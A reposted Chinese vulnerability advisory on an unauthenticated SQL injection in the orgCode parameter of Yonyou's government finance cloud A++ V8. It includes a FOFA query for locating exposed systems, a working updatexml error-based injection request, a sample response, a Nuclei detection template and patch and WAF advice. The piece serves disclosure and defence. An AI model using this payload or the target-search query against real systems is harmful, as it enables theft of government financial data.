【漏洞告警】用友政务财务云A++V8 存在SQL注入漏洞附POC脚本

admin 2026-08-08 06:31:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 用友政务财务云A++V8的/ma/api/selectMaUser接口存在未授权SQL注入漏洞,攻击者无需登录即可通过orgCode参数注入恶意SQL,利用updatexml报错注入获取数据库信息。该漏洞影响8.31、8.32、8.33版本,已打补丁的版本已修复。建议立即打官方补丁、配置WAF规则并收敛公网暴露面。 综合评分: 87 文章分类: 漏洞预警,WEB安全,渗透测试,漏洞分析


cover_image

【漏洞告警】用友政务财务云 A++ V8 存在SQL注入漏洞 附POC脚本

YGnight YGnight

night安全

2026年7月25日 23:38 四川

在小说阅读器读本章

去阅读

用友政务财务云 A++ V8 存在SQL注入漏洞。不用账号密码,往 /ma/api/selectMaUser 丢一个构造好的 orgCode,数据库自己就把库名报了出来。这套系统跑在各级政府和事业单位手里,装的全是财务数据,一旦被拖库,后果不用我多说。

一、危害

用友政务财务云 A++ V8 是面向政府部门、事业单位、社会团体的综合财务管理平台,管着财务核算、预算管理、资金监管这些核心账。它的 /ma/api/selectMaUser 接口存在一个未授权 SQL 注入,攻击者不用登录,构造 orgCode 参数就能把恶意 SQL 拼进查询里。

威胁类型 SQL 注入(updatexml 报错注入)

威胁等级 高危,未授权可利用

| | | | — | — | | 版本区间 | 状态 | | 用友政务财务云 A++ V8 · 8.31 | 受影响 | | 用友政务财务云 A++ V8 · 8.32 | 受影响 | | 用友政务财务云 A++ V8 · 8.33 | 受影响 | | 已打官方补丁的版本 | 已修复 |

⚠️ 风险定性,整个利用链零登录、零交互,一个 HTTP 请求就能拿到库名。报错注入能读到库名,往下就能读表名、字段、乃至整库数据,高危不夸张。政务财务系统一旦暴露在公网,属于必须马上处置的那类。

二、原理分析

问题出在 selectMaUser 这个查用户的接口上。它接收 JSON 里的 orgCode 字段,本意是按机构编码筛人,结果这个值没做参数化处理,被直接拼进了后端的 SQL 语句。攻击者用一个单引号闭合掉原来的字符串,后面想拼什么就拼什么。

利用手法走的是 updatexml 报错注入。updatexml(1,concat(0x7e,(select database()),0x7e),1) 这段的套路是,先执行 select database() 拿到当前库名,再用 0x7e(也就是波浪号)把它包起来塞给 updatexml 当第二个参数。updatexml 校验 XPATH 格式时发现波浪号非法,直接抛出 XPATH 语法错误,而报错信息里恰好带上了那段库名。

这就是报错注入的精髓,不需要页面正常返回数据,只要数据库肯把错误信息回显出来,敏感数据就顺着报错一起吐了出来。把 database() 换成读表名、读字段、读账号密码的子查询,一样能一条条掏空。

三、完整攻击链

整条链子很短,短到让人头皮发麻。

1资产测绘定位目标

用 FOFA 语法 app="用友-政务财务系统" 或者 body 里带 /df/portal/getYearRgcode.do 的特征,批量圈出暴露在公网的系统。

2直击注入接口

向 /ma/api/selectMaUser 发一个 POST 请求,Content-Type 设成 application/json,全程不需要任何登录态或 Cookie。

3orgCode 拼接恶意 SQL ⚡

在 orgCode 里用单引号闭合,塞进 updatexml 报错 payload,让数据库执行 select database()。

4报错回显读数据

响应里返回 XPATH syntax error,波浪号之间夹着的就是当前库名。把子查询换成读表、读字段的语句,就能一步步把库掏空。

📌 关键认知,这四步从头到尾没碰过登录页。注入本身还算常见,真正吓人的地方在于它挂在一个未授权就能访问的接口上,任何能连到系统的人都能打。这也是为什么政务系统必须优先收敛公网暴露面。

四、PoC 验证(自查用)

下面两个片段仅用于对自有资产做只读探测,验证有没有中招。请勿对未授权系统使用,越权测试要担法律责任,这点先说在前头。

PoC-1 · 探测请求

POST /ma/api/selectMaUser HTTP/1.1Host: your-target
{"orgCode":"1' AND (updatexml(1,concat(0x7e,(select database()),0x7e),1)) AND '1'='1"}

PoC-2 · 命中响应节选

HTTP/1.1 200 OKContent-Type: application/json;charset=UTF-8{... XPATH syntax error:&nbsp;'~<数据库名>~'&nbsp;...}

✅ 判定逻辑

· 响应状态 200 且正文里出现 XPATH syntax error,波浪号之间还夹着库名 → 确认存在注入,需要立即处置。

· 换成不带 payload 的正常 orgCode 请求作为对照,正常请求无报错、恶意请求报错,能进一步排除误报。

· 返回 401 / 404 或缺少上述特征 → 大概率已修复或接口被禁用,但仍建议核对版本。

✅ 最稳妥

别只靠打一发 PoC 下结论,直接核对系统版本。只要还停在 A++ V8 的 8.31 / 8.32 / 8.33 且没打补丁,就当它有风险来处理。

附 · Nuclei 检测脚本

id: yonyou-cwcloud-v8-selectmauser-sqliinfo:&nbsp; name: 用友政务财务云 A++ V8 selectMaUser SQL注入&nbsp; author: night安全&nbsp; severity: high&nbsp; description: |&nbsp; &nbsp; 用友政务财务云 A++ V8 /ma/api/selectMaUser 接口 orgCode 参数&nbsp; &nbsp; 存在未授权 SQL 注入,可通过 updatexml 报错注入读取数据库信息。&nbsp; reference:&nbsp; &nbsp; - https://security.yonyou.com/&nbsp; classification:&nbsp; &nbsp; cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N&nbsp; &nbsp; cvss-score: 8.6&nbsp; &nbsp; cwe-id: CWE-89&nbsp; metadata:&nbsp; &nbsp; verified:&nbsp;true&nbsp; &nbsp; max-request: 2&nbsp; &nbsp; fofa-query: app="用友-政务财务系统"&nbsp; &nbsp; product: yonyou-cwcloud-a-plus-plus-v8&nbsp; tags: sqli,yonyou,cwcloud,injection,unauthvariables:&nbsp; probe:&nbsp;"{{rand_int(100000, 999999)}}"http:&nbsp; - raw:&nbsp; &nbsp; &nbsp;&nbsp;# 请求1:注入 payload,触发 updatexml 报错回显&nbsp; &nbsp; &nbsp; - |&nbsp; &nbsp; &nbsp; &nbsp; POST /ma/api/selectMaUser HTTP/1.1&nbsp; &nbsp; &nbsp; &nbsp; Host: {{Hostname}}&nbsp; &nbsp; &nbsp; &nbsp; Content-Type: application/json&nbsp; &nbsp; &nbsp; &nbsp; User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&nbsp; &nbsp; &nbsp; &nbsp; {"orgCode":"1' AND (updatexml(1,concat(0x7e,md5({{probe}}),0x7e),1)) AND '1'='1"}&nbsp; &nbsp; &nbsp;&nbsp;# 请求2:正常参数做对照,用于排除误报&nbsp; &nbsp; &nbsp; - |&nbsp; &nbsp; &nbsp; &nbsp; POST /ma/api/selectMaUser HTTP/1.1&nbsp; &nbsp; &nbsp; &nbsp; Host: {{Hostname}}&nbsp; &nbsp; &nbsp; &nbsp; Content-Type: application/json&nbsp; &nbsp; &nbsp; &nbsp; User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&nbsp; &nbsp; &nbsp; &nbsp; {"orgCode":"1"}&nbsp; &nbsp; stop-at-first-match:&nbsp;false&nbsp; &nbsp; matchers-condition: and&nbsp; &nbsp; matchers:&nbsp; &nbsp; &nbsp; -&nbsp;type: word&nbsp; &nbsp; &nbsp; &nbsp; part: body_1&nbsp; &nbsp; &nbsp; &nbsp; words:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;"XPATH syntax error"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;"{{md5(probe)}}"&nbsp; &nbsp; &nbsp; &nbsp; condition: or&nbsp; &nbsp; &nbsp; -&nbsp;type: dsl&nbsp; &nbsp; &nbsp; &nbsp; dsl:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;"status_code_1 == 200"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;"contains(body_1, 'XPATH syntax error') || contains(body_1, substr(md5(probe),0,32))"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;"!contains(body_2, 'XPATH syntax error')"&nbsp; &nbsp; &nbsp; &nbsp; condition: and&nbsp; &nbsp; extractors:&nbsp; &nbsp; &nbsp; -&nbsp;type: regex&nbsp; &nbsp; &nbsp; &nbsp; part: body_1&nbsp; &nbsp; &nbsp; &nbsp; group: 1&nbsp; &nbsp; &nbsp; &nbsp; regex:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;"XPATH syntax error: '~([^~]+)~'"

五、修复防御方案

① 打官方补丁或升级(首选)

用友安全中心已发布对应补丁,去官方安全中心(security.yonyou.com)按产品和版本领取,8.31 / 8.32 / 8.33 都尽快跟上。这是根治手段,能补掉参数拼接的老底子。

② WAF 与边缘阻断

在 WAF 或网关上针对 /ma/api/selectMaUser 做规则,拦截请求体里带 updatexml、concat、单引号闭合等注入特征的流量,给打补丁争取窗口期。

③ 收敛暴露面与接口鉴权

政务财务系统没必要直接怼在公网上,能内网访问就别开外网。同时给接口加访问控制,非授权来源直接拒绝,把未授权这条最要命的路先堵死。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:night安全 YGnight YGnight《【漏洞告警】用友政务财务云 A++ V8 存在SQL注入漏洞 附POC脚本》

评论:0   参与:  0